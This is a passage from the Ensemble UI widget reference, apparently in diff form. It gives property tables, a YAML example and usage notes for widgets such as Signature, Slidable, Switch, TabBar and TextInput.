:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| borderRadius | string or integer | The border radius of the widget. This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| width | integer | The width property determines the horizontal size of an element, allowing control over its width dimension within the layout. | +| height | integer | The height property determines the vertical size of an element, allowing control over its height dimension within the layout. | +| backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | + +--- + + +# Signature Widget + +The `Signature` widget allows users to capture handwritten signatures directly within your application. It provides a canvas where users can draw their signature using touch or mouse input. The widget is highly customizable, enabling you to adjust its appearance and behavior to suit your application's needs. + +## Key Properties and Features + +- **Pen Customization**: Adjust the pen color (`penColor`), stroke width (`penStrokeWidth`), stroke cap (`strokeCap`), and stroke join (`strokeJoin`) to customize the drawing experience. +- **Background Customization**: Set the background color of the signature pad using `backgroundColor`. + +- **Value Handling**: The `value` property holds the signature data encoded as a Base64 string. This can be used to retrieve or set the signature. + +- **Disabling Input**: Use the `disabled` property to prevent users from drawing on the signature pad, useful for displaying a previously captured signature. + +- **Export Options**: Customize the colors used when exporting the signature image with `exportBackgroundColor` and `exportPenColor`. + +- **Getters**: Access additional data through getters like `isEmpty`, `getSignatureBytes`, `getSignatureSVG`, and `getSignatureJPG`. + +- **Events**: The `onChange` event is triggered whenever the signature pad's content changes, allowing you to react to user input. + +- **Methods**: The `clear()` method allows you to programmatically clear the signature pad. + +--- + + +# Slidable Widget + +The `Slidable` widget enables you to create swipeable items with customizable action panes on both sides. This widget is particularly useful for implementing swipe-to-action functionality, such as swipe-to-delete, swipe-to-edit, or any other custom actions in your application. + +## Key Properties and Features + +- **Dual Action Panes**: Support for both start (left) and end (right) action panes +- **Customizable Actions**: Each action pane can contain multiple actions with customizable icons, labels, and colors +- **Motion Options**: Various motion types available including scroll, stretch, behind, and drawer animations +- **Dismissible Support**: Optional swipe-to-dismiss functionality with customizable behavior +- **Group Management**: Group related slidables together using the `groupTag` property +- **Directional Support**: Supports both horizontal and vertical sliding +- **Accessibility**: Respects text direction for RTL/LTR layouts + +```yaml +Slidable: + styles: + direction: horizontal + closeOnScroll: true + dragStartBehavior: start + useTextDirection: true + startDrawer: + options: + extentRatio: 0.001 # we can keep the extent ratio small so that dismissible action looks smooth + openThreshold: 0.25 + motion: behind + dismissible: + dismissThreshold: 0.75 + dismissalDurationMs: 300 + resizeDurationMs: 300 + motion: inversedDrawer + onDismissed: + showToast: + message: Item dismissed + endDrawer: + children: + - icon: star + label: Favorite + backgroundColor: yellow + onTap: + showToast: + message: Added to favorites + child: + Container: + padding: 16 + child: + Text: "Swipe me left or right" +``` + +--- + + +# Slider Widget + +The `Slider` widget provides an intuitive way for users to select a value or range of values by dragging a handle along a track. This widget is particularly useful for adjusting numeric inputs like volume, brightness, or any other adjustable parameters that fall within a continuous or discrete range. + +## Key Properties and Features + +- **Value Selection**: Intuitive dragging interface for selecting numeric values +- **Discrete or Continuous**: Option to divide the slider into discrete steps or maintain continuous sliding +- **Customizable Appearance**: Extensive styling options for track, thumb, tick marks, and value indicators +- **Interactive Feedback**: Visual feedback through overlays and value indicators +- **Accessibility**: Support for enabled/disabled states and form validation + +--- + +# Spacer + +The Spacer Widget enables the creation of adjustable spacing between elements, offering precise control over the layout and alignment of content within your application. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/1d7e42a9-5bbc-4b4b-9a02-8c102234ee05) + +## Properties + +| Property | Type | Description | +| :------- | :----- | :------------------------ | +| styles | object | [See properties](#styles) | + +### styles + +| Property | Type | Description | +| :------- | :------ | :----------------------------------------------------------------------------------------------------------- | +| size | integer | Defines the dimensions or magnitude of an element, allowing control over its overall size within the layout. | + +--- + +# Stack + +The Stack Widget allows you to visually stack items on top of each other, providing a flexible and layered approach to layout and design within your application. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/572ecf3b-b9f2-46f4-960f-ff438e5fa1dc) + +## Properties + +| Property | Type | Description | +| :------- | :----- | :------------------------ | +| children | array | List of widgets | +| styles | object | [See properties](#styles) | + +### styles + +| Property | Type | Description | +| :------------ | :----- | :----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| alignChildren | string | How to align the children within the stack such that their alignment points will be the same (default is topStart). Each child can override this with alignment property. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | +| enableSplashFeedback | boolean | Toggles splash effect feedback for the widget when `true`. | +| splashColor | string | Defines the color of the splash effect when `enableSplashFeedback` is true. | +| splashDuration | integer | This is the duration it takes to fill the widget surface with the splashColor.The duration in ms when tap and release on the widget. | +| splashFadeDuration | integer | The duration it takes to fade out once tapped. Since a typical tap starts and ends immdiately, this splashFadeDuration executes almost at the same time as the splashDuration, so ideally it should be equal or longer than splashDuration to see the entire effect. | +| unconfirmedSplashDuration | integer | This happens when the user tap and hold (not yet released). It is called unconfirmed since the tap will be cancelled if the user moves out of the tap area and release. Usually this should be longer (around 1 secs) to signify that the user has not confirmed the tap. | + +--- + +# Staggered Grid + +StaggeredGrid is a versatile widget that arranges its children in a staggered layout, allowing flexible and dynamic positioning for unique and visually appealing UI designs. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/a9iIs4wvgqDOhU4rN6GR?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) + +## Properties + +| Property | Type | Description | +| :------------ | :----- | :-------------------------------------------------------------------------------------- | +| onItemTap | action | Call Ensemble's built-in functions or execute code when tapping on an item in the list. | +| onItemTapHaptic | enum | The type of haptic to perform when a item is pressed. It should be one of heavyImpact, mediumImpact, lightImpact, selectionClick, and vibrate | +| children | array | List of widgets | +| styles | object | [See properties](#styles) | +| item-template | object | [See properties](#item-template) | + +### item-template + +| Property | Type | Description | +| :------- | :----- | :----------------------------------------------------------------- | +| data | string | Bind to an array of data from an API response or a variable | +| name | string | Set the name to reference as you iterate through the array of data | +| template | widget | The widget to render for each item | + +### styles + +| Property | Type | Description | +| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| crossAxisCount | integer | Creates a list of staggered grid tile in the cross axis | +| verticalGap | integer | Vertical gap between the staggered grid tiles | +| horizontalGap | integer | Horizontal gap between the staggered grid tiles | +| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | +| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | +| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | +| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | +| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | +| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | +| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | +| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | +| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | +| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | +| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | + +--- + +# Switch widget + +The Switch Widget enables the rendering of switch toggle elements, providing users with an intuitive and interactive way to toggle between two states within your application. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/3f4ba37a-0e6a-46a1-9b78-e4e04c84937d) + +## Properties + +| Property | Type | Description | +| :----------- | :------ | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| id | string | ID to be referenced later | +| maxWidth | integer | The max width of this Input widget (default 700). while min vlaue can be `0` and maximum can be `5000` | +| label | string | Label for your widget | +| labelHint | string | Hint text on your label | +| hintText | string | Hint text explaining your widget | +| required | boolean | Whether the field is required | +| enabled | boolean | Enables or disables the interactivity and input functionality of the widget | +| icon | object | [See properties](#icon) | +| onChange | action | Call Ensemble's built-in functions or execute code when the input changes. Note for free-form text input, this event only dispatches if the text changes AND the focus is lost (e.g. clicking on button) | +| onChangeHaptic | enum | The type of haptic to perform when switch state is changed. It should be one of heavyImpact, mediumImpact, lightImpact, selectionClick, and vibrate | +| value | string | Specifying the value of your Text Input | +| autoComplete | boolean | Enable the Input search suggestion option | +| items | array | List of values, or Objects with value/label pairs | +| styles | object | [see properties](#styles) | +| leadingText | string | Sets the text displayed before the checkbox | +| trailingText | string | Sets the text displayed after the checkbox | + +### styles + +| Property | Type | Description | +| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| variant | string | Select a pre-defined look and feel for this Input widget. This property can be defined in the theme to apply to all Input widgets. [see properties](#options-for-stylesvariant) | +| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | +| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | +| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | +| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | +| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | +| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | +| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | +| errorBorderColor | integer or string | The border color when there are errors on this input field. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| focusedBorderColor | integer or string | The border color when this input field is receiving focus. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| focusedErrorBorderColor | integer or string | The border color of this input field when it is receiving focus in its error state. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| disabledBorderColor | integer or string | The border color when this input field is disabled. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| fillColor | integer or string | The fill color for this input fields. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | +| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | +| contentPadding | integer or string | Padding around your input content with CSS-style notation e.g. margin: 5 20 5 | +| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | +| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | +| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| borderWidth | integer | Thickness of the border. Minimum value should be 0. | +| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | + +### icon + +| Property | Type | Description | +| :------- | :---------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| name | string | The name of the icon | +| library | string | Which icon library to use. | +| color | integer or string | The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| size | integer | Defines the dimensions or magnitude of an element, allowing control over its overall size within the layout. | + +--- + +# TabBar + +The TabBar Widget enables the creation of tab bars, providing a convenient and visually appealing way to navigate between different sections or views within your application. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/cebd491d-7d90-43f4-9f17-b8575de441ca) + +## Properties + +| Property | Type | Description | +| :------------ | :------ | :--------------------------------------- | +| styles | object | [See properties](#styles) | +| selectedIndex | integer | Selecting a Tab based on its index order | +| items | array | Define each of your Tab here | +| onTabSelection | action | The action that will be performed when a tab is pressed. | +| onTabSelectionHaptic | enum | The type of haptic to perform when a tab is pressed. It should be one of heavyImpact, mediumImpact, lightImpact, selectionClick, and vibrate | + +### styles + +| Property | Type | Description | +| :----------------- | :---------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| tabPosition | string | How to lay out the Tab labels | +| tabAlignment | enum | The TabBar alignments: `start`, `startOffset`, `fill`, `center`. | +| tabPadding | string or integer | Padding for each tab labels with CSS-style value. Default: 0 30 0 0 (right padding only) | +| tabFontSize | integer | Font size for the tab text | +| tabFontWeight | string | Font weight for the tab text | +| tabBackgroundColor | integer or string | The background color of the tab's navigation bar, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| activeTabColor | integer or string | The color of the selected tab's text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| inactiveTabColor | integer or string | The color of the un-selected tabs' text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| indicatorColor | integer or string | The color of the selected tab's indicator, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| indicatorThickness | integer | The thickness of the selected tab's indicator | +| margin | string or integer | Margin with CSS-style notation e.g. margin: 5 20 5 | +| borderWidth | integer | The width of border of tabs in integer i.e, 10 . +| borderRadius | integer | The radius of border of tabs in integer like 10, it applies on all sides. +| borderColor | integer or string |The color of borders of the tabs, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange`| + +| + +--- + +# TextInput widget + +The TextInput Widget enables the rendering of interactive text input fields, allowing users to enter and edit text within your application for data input and interaction. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/abc081b1-bcb4-4db6-ae55-7987cb6c418e) + +## Properties + +| Property | Type | Description | +|:------------------------|:-----------------------------------------------|:----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| id | string | ID to be referenced later | +| maxWidth | integer | The max width of this Input widget (default 700). while min vlaue can be `0` and maximum can be `5000` | +| label | string | Label for your widget | +| labelHint | string | Hint text on your label | +| labelStyle | [TextStyle](#TextStyle) | Styling for the label | +| hintText | string | Hint text explaining your widget | +| hintStyle | object | Styling the hint text. Default to theme's bodyMedium styling. [see properties](#hintstyles) | +| required | boolean | Whether the field is required | +| enabled | boolean | Enables or disables the interactivity and input functionality of the widget | +| icon | object | [See properties](#icon) | +| styles | object | [See properties](#styles) | +| validator | object | [See properties](#validator) [Example](https://studio.ensembleui.com/app/a2qNNXgcmhBxfrTMBVGB/screen/AzD8jmw9Xk2zrGa1IVqd) | +| validateOnUserInteraction | boolean | Default: false. When set to true, validates the user's input on every keypress. [Example](https://studio.ensembleui.com/app/a2qNNXgcmhBxfrTMBVGB/screen/AzD8jmw9Xk2zrGa1IVqd) +| value | string | Specifying the value of your Text Input | +| inputType | string | Pick a predefined input type ` default` `email` `phone ` `number` `text` `url` `datetime ` `ipAddress` | +| keyboardAction | string | Specify the action key on native device's soft keyboard | +| obscureText | boolean | whether we should obscure the typed-in text (e.g Social Security) | +| obscureToggle | boolean | enable the toggling between plain and obscure text. | +| readOnly | boolean | When it is true, the text cannot be modified by any shortcut or keyboard operation. | +| selectable | boolean | Default: true. Setting this to true will enable features such as long-pressing the TextField to select text and show the cut/copy/paste menu, and tapping to move the text caret text. Setting it to false would disable copy and paste behavior. See [this](https://api.flutter.dev/flutter/material/TextField/enableInteractiveSelection.html) | +| toolbarDone | boolean | Display the toolbar with done button on top of the keyboard. (defaults to False) | +| textStyle | object | An opaque object that determines the size, color, and decoration of text. Similar properties as hintStyle [see properties](#hintstyles) | +| mask | string | It formats the input by a given mask. Ex: +# (###) ###-##-##. detailed examples can be seen in [Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/abc081b1-bcb4-4db6-ae55-7987cb6c418e) | +| delayedKeyPressDuration | integer | The delay in milliseconds to trigger onDelayedKeyPress ( min : 0) | +| multiline | boolean | Specifies if this TextInput can span multiple lines. (default False) | +| minLines | integer | Specifies the minimum number of lines to start out (applicable for multiline) | +| maxLines | integer | Specifies the maximum number of lines to visually expand to. This will also enable multi-line if this number is greater than 1 and the 'multiline' property is not set. | +| floatLabel | boolean | [floating label example](#floating-label-example) +| autofillHints | array | List of autofill hints used to specify what type of information should be autofilled. Possible values: `"addressCity"`, `"addressCityAndState"`, `"addressState"`, `"birthday"`, `"birthdayDay"`, `"birthdayMonth"`, `"birthdayYear"`, `"countryCode"`, `"countryName"`, `"creditCardExpirationDate"`, `"creditCardExpirationDay"`, `"creditCardExpirationMonth"`, `"creditCardExpirationYear"`, `"creditCardFamilyName"`, `"creditCardGivenName"`, `"creditCardMiddleName"`, `"creditCardName"`, `"creditCardNumber"`, `"creditCardSecurityCode"`, `"creditCardType"`, `"email"`, `"familyName"`, `"fullStreetAddress"`, `"gender"`, `"givenName"`, `"impp"`, `"jobTitle"`, `"language"`, `"location"`, `"middleInitial"`, `"middleName"`, `"name"`, `"namePrefix"`, `"nameSuffix"`, `"newPassword"`, `"newUsername"`, `"nickname"`, `"oneTimeCode"`, `"organizationName"`, `"password"`, `"photo"`, `"postalAddress"`, `"postalAddressExtended"`, `"postalAddressExtendedPostalCode"`, `"postalCode"`, `"streetAddressLevel1"`, `"streetAddressLevel2"`, `"streetAddressLevel3"`, `"streetAddressLevel4"`, `"streetAddressLine1"`, `"streetAddressLine2"`, `"streetAddressLine3"`, `"sublocality"`, `"telephoneNumber"`, `"telephoneNumberAreaCode"`, `"telephoneNumberCountryCode"`, `"telephoneNumberDevice"`, `"telephoneNumberExtension"`, `"telephoneNumberLocal"`, `"telephoneNumberLocalPrefix"`, `"telephoneNumberLocalSuffix"`, `"telephoneNumberNational"`, `"transactionAmount"`, `"transactionCurrency"`, `"url"`, `"username"` | +| maxLength | integer | The maximum number of characters allowed in the text field. If set, the text field will restrict the input to this number of characters. | +| maxLengthEnforcement | string | none, enforced, truncateAfterCompositionEnds. [see properties](#maxlengthenforcement) | + +### Actions + +| Name | description | +| :---------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| onKeyPress | On every keystroke, call Ensemble's built-in functions or execute code | +| onFocusReceived | Execute an Ensemble action when the field receives focus | +| onFocusLost | Execute an Ensemble action when the field loses focus | +| onChange | Call Ensemble's built-in functions or execute code when the input changes. This event only dispatches if the text changes AND the focus is lost (e.g. clicking on button) | +| onDelayedKeyPress | Execute an Action after a brief delay specified by delayedKeyPressDuration (default: 300 ms). Consecutive calls within this delay will reset the timer, useful for minimizing server calls for type-ahead scenarios. | + +### icon + +| Property | Type | Description | +| :------- | :---------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| name | string | The name of the icon | +| library | string | Which icon library to use. | +| color | integer or string | The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| size | integer | Defines the dimensions or magnitude of an element, allowing control over its overall size within the layout. | + +### styles + +| Property | Type | Description | +| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| fontSize | integer | Sets the size of the text. | +| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| borderWidth | integer | Thickness of the border. Minimum value should be 0. | +| fontSize | integer | Sets the size of the text. | +| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | +| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | +| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | +| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | +| errorBorderColor | integer or string | The border color when there are errors on this input field. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| focusedBorderColor | integer or string | The border color when this input field is receiving focus. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| focusedErrorBorderColor | integer or string | The border color of this input field when it is receiving focus in its error state. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| disabledBorderColor | integer or string | The border color when this input field is disabled. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| fillColor | integer or string | The fill color for this input fields. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| contentPadding | integer or string | Padding around your input content with CSS-style notation e.g. margin: 5 20 5 | +| variant | string | Select a pre-defined look and feel for this Input widget. This property can be defined in the theme to apply to all Input widgets. [see properties](#options-for-stylesvariant) | +| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | +| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | +| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | +| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | +| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | +| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | +| dismissOnTapOutside | boolean | If set `true` keyboard will be dissmissed when user taps outsides the input area. | +| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | +| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | + +### hintStyles + +| Property | Type | Description | +| :----------------- | :---------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | +| fontSize | integer | Sets the size of the text. | +| fontWeight | string | The thickness of the glyphs used to draw the text. `light` `normal` `bold` `w100` `w200` `w300` `w400` `w500` `w600` `w700` ` w800``w900 ` | +| color | integer or string | The color specification for the text, icons, divider etc, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| overflow | string | Set treatment of text longer than available space `wrap` `visible` `clip` `ellipsis` | +| backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| fontfamily | string | Allows users to chose a specific font-family other than the default one. | +| decoration | string | A linear decoration to draw near the text or whether to slant the glyphs in font. `none` `lineThrough` `underline` `overline` | +| decorationStyle | string | The style in which to paint the text decorations (e.g., dashed). `solid` `double` `dotted` `dashed` `wavy` | +| isItalic | boolean | Whether the text should be italic or not | +| lineHeightMultiple | integer | A multiple of the fontSize to determine the line height. (e.g. 2.0 means the line height is double the height the font size occupies). Default null. (note that 1.0 is not the default depending on the font) | +| letterSpacing | integer | The amount of space (in logical pixels) to add between each letter. A negative value can be used to bring the letters closer. | +| wordSpacing | integer | The amount of space (in logical pixels) to add at each sequence of white-space (i.e. between each word). A negative value can be used to bring the words closer. | +| gradient | object | Using this property we can apply gradient to our text | + +### hintStyles.gradient + +| Property | Type | Description | +| :------- | :----- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| colors | array | The list of colors used for the gradient, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| stops | array | The list of color stops, each is a number between 0.0 (where the gradient starts) and 1.0 (where the gradient ends). The number of stops should match the number of colors. | +| start | string | The starting position of the gradient,`topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | +| end | string | The ending position of the gradient, `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | + +### validator + +| Property | Type | Description | +| :--------- | :------ | :------------------------------------------------------------------------------------- | +| minLength | integer | The minimum number of characters | +| maxLength | integer | The maximum number of characters | +| regex | string | The Regular 